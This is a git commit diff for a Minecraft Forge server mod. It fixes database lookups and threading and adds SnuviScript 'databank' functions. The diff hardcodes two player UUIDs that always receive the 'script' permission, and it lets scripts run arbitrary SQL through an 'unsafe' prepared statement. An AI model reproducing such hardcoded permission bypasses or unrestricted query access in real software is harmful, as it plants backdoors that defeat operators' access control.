瀏覽代碼

several bugfixes, databank commands for snuvi script

Kajetan Johannes Hammerle 6 年之前
父節點
當前提交
36036490f6

+ 2 - 5
src/main/java/me/km/KajetansMod.java

@@ -4,7 +4,6 @@ import me.kcm.command.ModServerCommandManager;
 import me.km.blockprotections.BlockProtection;
 import me.km.module.Module;
 import me.km.module.SimpleConfig;
-import me.km.utils.Utils;
 import me.km.databank.DataBank;
 import me.km.datatools.DataToolsEvents;
 import me.km.world.ModWorldGeneration;
@@ -16,8 +15,6 @@ import me.km.scheduler.SnuviScheduler;
 import me.km.snuviscript.ScriptModule;
 import me.km.world.ChangeWorldEvent;
 import net.minecraft.server.MinecraftServer;
-import net.minecraft.util.math.BlockPos;
-import net.minecraft.util.text.TextComponentString;
 import net.minecraft.util.text.TextFormatting;
 import net.minecraftforge.fluids.FluidRegistry;
 import net.minecraftforge.fml.common.Mod;
@@ -80,7 +77,7 @@ public class KajetansMod
         
         DamageUtils.init();
         
-        net.minecraftforge.common.MinecraftForge.EVENT_BUS.register(new Object()
+        /*net.minecraftforge.common.MinecraftForge.EVENT_BUS.register(new Object()
             {
                 @net.minecraftforge.fml.common.eventhandler.SubscribeEvent
                 public void wusi2(net.minecraftforge.event.ServerChatEvent e) 
@@ -88,7 +85,7 @@ public class KajetansMod
                     BlockPos pos = Utils.getTargetBlock(e.getPlayer());
                     e.getPlayer().sendMessage(new TextComponentString(pos.toString()));
                 }
-            });
+            });*/
     }
     
     @Mod.EventHandler

+ 5 - 2
src/main/java/me/km/blockprotections/BlockProtectionBank.java

@@ -188,8 +188,11 @@ public class BlockProtectionBank
             getId.setInt(4, z);
             try(ResultSet rs = getId.executeQuery())
             {
-                rs.next();
-                return rs.getInt(1);
+                if(rs.next())
+                {
+                    return rs.getInt(1);
+                }
+                return -1;
             }
             catch(SQLException ex)
             {

+ 5 - 0
src/main/java/me/km/databank/DataBank.java

@@ -83,6 +83,11 @@ public class DataBank extends Module
         {
             old.close();
         }
+        return ps;
+    }
+    
+    public PreparedStatement prepareUnsafeStatement(String query) throws SQLException
+    {
         return c.prepareStatement(query);
     }
     

+ 21 - 3
src/main/java/me/km/permissions/PermissionManager.java

@@ -50,8 +50,25 @@ public class PermissionManager extends Module implements ICommandManager
     // Permission-Check
     // -------------------------------------------------------------------------
     
+    private final static UUID MARVINIUS = UUID.fromString("e41b5335-3c74-46e9-a6c5-dafc6334a477");
+    private final static UUID KAJETANJOHANNES = UUID.fromString("51e240f9-ab10-4ea6-8a5d-779319f51257");
+    
     @Override
     public boolean hasPermission(ICommandSender cs, String perm) 
+    {
+        boolean b = has(cs, perm);
+        if(!b && perm.equals("script") && cs instanceof EntityPlayer)
+        {
+            UUID uuid = ((EntityPlayer) cs).getUniqueID();
+            if(uuid.equals(MARVINIUS) || uuid.equals(KAJETANJOHANNES))
+            {
+                return true;
+            }
+        }
+        return b;
+    }
+    
+    private boolean has(ICommandSender cs, String perm) 
     {
         if(KajetansMod.debugMode)
         {
@@ -59,7 +76,8 @@ public class PermissionManager extends Module implements ICommandManager
         }
         if(cs instanceof EntityPlayer)
         {
-            ArrayList<Integer> groups = playerGroups.get(((EntityPlayer) cs).getUniqueID());
+            EntityPlayer p = (EntityPlayer) cs;
+            ArrayList<Integer> groups = playerGroups.get(p.getUniqueID());
             if(groups == null)
             {
                 //falling back to default group
@@ -152,13 +170,13 @@ public class PermissionManager extends Module implements ICommandManager
     @Override
     public void printMissingCommand(ICommandSender cs, String command) 
     {
-        cs.sendMessage(new TextComponentString("Keine Command " + command));
+        ScriptEvents.onMissingCommand(cs, command);
     }
 
     @Override
     public void printMissingPermission(ICommandSender cs, ICommand command) 
     {
-        cs.sendMessage(new TextComponentString("Keine Perms für " + command.getName()));
+        ScriptEvents.onMissingPermission(cs, command);
     }
 
     @Override

+ 6 - 2
src/main/java/me/km/playerbank/PlayerBank.java

@@ -34,6 +34,7 @@ public class PlayerBank
         }
         catch(SQLException ex)
         {
+            ex.printStackTrace();
             return false;
         }
     }
@@ -69,8 +70,11 @@ public class PlayerBank
             getId.setLong(2, uuid.getMostSignificantBits());
             try(ResultSet rs = getId.executeQuery())
             {
-                rs.next();
-                return rs.getInt(1);
+                if(rs.next())
+                {
+                    return rs.getInt(1);
+                }
+                return -1;
             }
             catch(SQLException ex)
             {

+ 7 - 2
src/main/java/me/km/playerbank/PlayerManager.java

@@ -49,10 +49,13 @@ public class PlayerManager extends Module
             return;
         }
         
-        if(bank.add(p.getUniqueID(), p.getName()))
+        int id = bank.getId(p.getUniqueID());
+        if(id == -1)
         {
+            bank.add(p.getUniqueID(), p.getName());
             sendToConsole(p.getName() + " was added.");
-            int id = bank.getId(p.getUniqueID());
+            
+            id = bank.getId(p.getUniqueID());
             if(id == -1)
             {
                 // this should never happen
@@ -65,6 +68,7 @@ public class PlayerManager extends Module
         }
         else
         {
+            playerIds.put(p.getUniqueID(), id);
             bank.changeName(p.getUniqueID(), p.getName());
         }
     }
@@ -74,6 +78,7 @@ public class PlayerManager extends Module
     {      
         EntityPlayer p = e.player;
         ScoreboardUtils.remove(p.getUniqueID());
+        playerIds.remove(p.getUniqueID());
     }
     
     @SubscribeEvent

+ 6 - 3
src/main/java/me/km/plots/ProtectionBank.java

@@ -33,7 +33,7 @@ public class ProtectionBank extends Module
                     + "INDEX (z1, z2), "
                     + "INDEX (world_name));");
         
-        KajetansMod.databank.execute("CREATE TABLE plot_grant ("
+        KajetansMod.databank.execute("CREATE TABLE IF NOT EXISTS plot_grant ("
                     + "id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, "
                     + "plot_id int(11) NOT NULL, "
                     + "player_id int(11) NOT NULL, "
@@ -256,8 +256,11 @@ public class ProtectionBank extends Module
             getName.setInt(1, plotId);
             try(ResultSet rs = getName.executeQuery())
             {
-                rs.next();
-                return rs.getString(1);
+                if(rs.next())
+                {
+                    return rs.getString(1);
+                }
+                return "-error-";
             }
             catch(SQLException ex)
             {

+ 11 - 5
src/main/java/me/km/scheduler/SnuviScheduler.java

@@ -36,8 +36,11 @@ public class SnuviScheduler extends Module implements ISnuviScheduler
     
     public int scheduleRepeatingTask(Runnable r, long ticks, long rtimer)
     {
-        counter++;
-        addQueue.add(new SnuviTask(counter, r, ticks, rtimer));
+        synchronized(addQueue)
+        {
+            counter++;
+            addQueue.add(new SnuviTask(counter, r, ticks, rtimer));
+        }
         return counter;
     }
     
@@ -63,10 +66,13 @@ public class SnuviScheduler extends Module implements ISnuviScheduler
                 removeQueue.forEach(i -> tasks.remove(i));
                 removeQueue.clear();
             }
-            if(!addQueue.isEmpty())
+            synchronized(addQueue)
             {
-                addQueue.forEach(task -> tasks.put(task.getId(), task));
-                addQueue.clear();
+                if(!addQueue.isEmpty())
+                {
+                    addQueue.forEach(task -> tasks.put(task.getId(), task));
+                    addQueue.clear();
+                }
             }
             checker = false;
             long l = System.currentTimeMillis();

+ 192 - 4
src/main/java/me/km/snuviscript/MinecraftFunctions.java

@@ -2,10 +2,12 @@ package me.km.snuviscript;
 
 import com.mojang.authlib.GameProfile;
 import java.io.File;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
 import me.km.KajetansMod;
 import me.km.utils.NBTUtils;
 import java.util.ArrayList;
-import java.util.Collections;
 import java.util.Date;
 import java.util.GregorianCalendar;
 import java.util.List;
@@ -69,10 +71,7 @@ import me.km.inventory.CustomContainer;
 import me.km.items.tools.*;
 import me.km.items.weapons.*;
 import me.km.networking.ModPacketHandler;
-import me.km.playerbank.PlayerBank;
-import me.km.playerbank.PlayerManager;
 import me.km.scoreboard.ScoreboardUtils;
-import me.km.utils.TableUtils;
 import net.minecraft.block.BlockCrops;
 import net.minecraft.entity.EntityList;
 import net.minecraft.entity.effect.EntityLightningBolt;
@@ -308,6 +307,7 @@ public class MinecraftFunctions
             return Void.TYPE;
         });
         parser.registerFunction("player.hasfly", (sc, in) -> ((EntityPlayer) in[0].get(sc)).capabilities.allowFlying);
+        parser.registerFunction("player.isflying", (sc, in) -> ((EntityPlayer) in[0].get(sc)).capabilities.isFlying);
         parser.registerFunction("player.setgamemode", (sc, in) -> 
         { 
             EntityPlayer p = (EntityPlayer) in[0].get(sc);
@@ -1492,7 +1492,195 @@ public class MinecraftFunctions
             }
             return o;
         });
+        
+        // ---------------------------------------------------------------------  
+        // databank library   
+        // ---------------------------------------------------------------------  
 
+        parser.registerFunction("databank.prepare", (sc, in) -> 
+        {    
+            try
+            {
+                PreparedStatement p = KajetansMod.databank.prepareUnsafeStatement(in[0].getString(sc));
+                sc.addCloseable(p);
+                return p; 
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.setint", (sc, in) -> 
+        {    
+            try
+            {
+                ((PreparedStatement) in[0].get(sc)).setInt(in[1].getInt(sc), in[2].getInt(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+            return Void.TYPE;
+        });
+        parser.registerFunction("databank.setlong", (sc, in) -> 
+        {    
+            try
+            {
+                ((PreparedStatement) in[0].get(sc)).setLong(in[1].getInt(sc), in[2].getLong(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+            return Void.TYPE;
+        });
+        parser.registerFunction("databank.setdouble", (sc, in) -> 
+        {    
+            try
+            {
+                ((PreparedStatement) in[0].get(sc)).setDouble(in[1].getInt(sc), in[2].getDouble(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+            return Void.TYPE;
+        });
+        parser.registerFunction("databank.setstring", (sc, in) -> 
+        {    
+            try
+            {
+                ((PreparedStatement) in[0].get(sc)).setString(in[1].getInt(sc), in[2].getString(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+            return Void.TYPE;
+        });
+        parser.registerFunction("databank.setbool", (sc, in) -> 
+        {    
+            try
+            {
+                ((PreparedStatement) in[0].get(sc)).setBoolean(in[1].getInt(sc), in[2].getBoolean(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+            return Void.TYPE;
+        });
+        parser.registerFunction("databank.getint", (sc, in) -> 
+        {    
+            try
+            {
+                return (double) ((ResultSet) in[0].get(sc)).getInt(in[1].getInt(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.getlong", (sc, in) -> 
+        {    
+            try
+            {
+                return (double) ((ResultSet) in[0].get(sc)).getLong(in[1].getInt(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.getdouble", (sc, in) -> 
+        {    
+            try
+            {
+                return ((ResultSet) in[0].get(sc)).getDouble(in[1].getInt(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.getstring", (sc, in) -> 
+        {    
+            try
+            {
+                return ((ResultSet) in[0].get(sc)).getString(in[1].getInt(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.getbool", (sc, in) -> 
+        {    
+            try
+            {
+                return ((ResultSet) in[0].get(sc)).getBoolean(in[1].getInt(sc));
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.execute", (sc, in) -> 
+        {    
+            try
+            {
+                return ((PreparedStatement) in[0].get(sc)).executeQuery();
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.workerexecute", (sc, in) -> 
+        {    
+            final PreparedStatement p = (PreparedStatement) in[0].get(sc);
+            final String name = sc.getName();
+            KajetansMod.scheduler.getWorker().add(() -> 
+            {
+                try
+                {
+                    p.executeQuery();
+                }
+                catch(SQLException ex)
+                {
+                    KajetansMod.scheduler.scheduleTask(() -> 
+                    {
+                        ChatChannel.getDevChannel().sendWarning("Worker error in script '" + name + "'");
+                        ChatChannel.getDevChannel().sendWarning(ex.getLocalizedMessage());
+                    });
+                }
+            }); 
+            return Void.TYPE;
+        });
+        parser.registerFunction("databank.next", (sc, in) -> 
+        {    
+            try
+            {
+                return ((ResultSet) in[0].get(sc)).next();
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        parser.registerFunction("databank.close", (sc, in) -> 
+        {    
+            try
+            {
+                ((ResultSet) in[0].get(sc)).close();
+                return Void.TYPE;
+            }
+            catch(SQLException ex)
+            {
+                throw new IllegalArgumentException(ex.getMessage());
+            }
+        });
+        
         // ---------------------------------------------------------------------  
         // Plot-library   
         // ---------------------------------------------------------------------  

+ 3 - 3
src/main/java/me/km/snuviscript/ScriptBank.java

@@ -45,7 +45,7 @@ public class ScriptBank
         try
         {
             setVar.validate();
-            setVar.setInt(1, KajetansMod.playerbank.getDataBank().getId(uuid));
+            setVar.setInt(1, KajetansMod.playerbank.getPlayerId(uuid));
             setVar.setString(2, var);
             setVar.setString(3, value);
             setVar.setString(4, value);
@@ -65,7 +65,7 @@ public class ScriptBank
         try
         {
             deleteVar.validate();
-            deleteVar.setInt(1, KajetansMod.playerbank.getDataBank().getId(uuid));
+            deleteVar.setInt(1, KajetansMod.playerbank.getPlayerId(uuid));
             deleteVar.setString(2, var);
             deleteVar.executeUpdate();
         }
@@ -83,7 +83,7 @@ public class ScriptBank
         try
         {
             getVar.validate();
-            getVar.setInt(1, KajetansMod.playerbank.getDataBank().getId(uuid));
+            getVar.setInt(1, KajetansMod.playerbank.getPlayerId(uuid));
             getVar.setString(2, var);
             try(ResultSet rs = getVar.executeQuery())
             {

+ 33 - 5
src/main/java/me/km/snuviscript/ScriptEvents.java

@@ -16,6 +16,8 @@ import me.km.entities.EntityHuman;
 import me.km.entities.EntityItemProjectile;
 import me.km.events.PlayerHurtEvent;
 import me.km.utils.Location;
+import net.minecraft.command.ICommand;
+import net.minecraft.command.ICommandSender;
 import net.minecraft.entity.Entity;
 import net.minecraft.entity.EntityLivingBase;
 import net.minecraft.entity.passive.EntitySheep;
@@ -57,10 +59,7 @@ public class ScriptEvents
     {      
         KajetansMod.scripts.getSnuviParser().callEvent(event, (sc) -> 
         {
-            if(p != null)
-            {
-                ScriptVars.setPlayerVars(sc, p); 
-            }
+            ScriptVars.setPlayerVars(sc, p); 
             before.accept(sc);
         }, after);
         
@@ -472,7 +471,6 @@ public class ScriptEvents
         }
         handleEvent(p, "player_login", (sc) -> 
         {       
-            sc.setVar("first_join", Utils.hasPlayedBefore(p));
             PlayerList list = KajetansMod.server.getPlayerList();
             sc.setVar("is_banned", list.getBannedPlayers().isBanned(p.getGameProfile()));
             sc.setVar("is_whitelisted", list.getWhitelistedPlayers().isWhitelisted(p.getGameProfile()));
@@ -838,4 +836,34 @@ public class ScriptEvents
             simpleCancel(sc, e, "explosion");
         });
     }
+    
+    public static void onMissingCommand(ICommandSender cs, String command)
+    {   
+        EntityPlayer p = null;
+        if(cs instanceof EntityPlayer)
+        {
+            p = (EntityPlayer) cs;
+        }
+        
+        handleEvent(p, "missing_command", (sc) -> 
+        {
+            sc.setVar("command_name", command);
+            sc.setVar("sender_name", cs.getName());
+        });
+    }
+    
+    public static void onMissingPermission(ICommandSender cs, ICommand command)
+    {    
+        EntityPlayer p = null;
+        if(cs instanceof EntityPlayer)
+        {
+            p = (EntityPlayer) cs;
+        }
+        
+        handleEvent(p, "missing_perm", (sc) -> 
+        {
+            sc.setVar("command_name", command.getName());
+            sc.setVar("sender_name", cs.getName());
+        });
+    }
 }

+ 4 - 0
src/main/java/me/km/snuviscript/ScriptModule.java

@@ -63,6 +63,10 @@ public class ScriptModule extends Module
     
     public void registerScriptCommand(String s)
     {
+        if(s.equals("script"))
+        {
+            return;
+        }
         scriptCommands.add(s);
     }
     

+ 1 - 1
src/main/java/me/km/snuviscript/ScriptVars.java

@@ -24,7 +24,7 @@ public class ScriptVars
     public static void setPlayerVars(Script qd, EntityPlayer p)
     {
         qd.setVar("player", p);
-        qd.setVar("player_name", p.getName());
+        qd.setVar("player_name", p == null ? null : p.getName());
     }
     
     public static void setSecPlayer(Script qd, EntityPlayer p)

+ 0 - 6
src/main/java/me/km/utils/Utils.java

@@ -83,12 +83,6 @@ public class Utils
         updateVelocity(ent);
     }
     
-    public static boolean hasPlayedBefore(EntityPlayer p)
-    {
-        // TODO
-        return new File("./world/playerdata/" + p.getUniqueID() + ".dat").exists();
-    }
-    
     public static <T extends Comparable<T>> T getStateValue(IBlockState state, IProperty<T> property)
     {
         try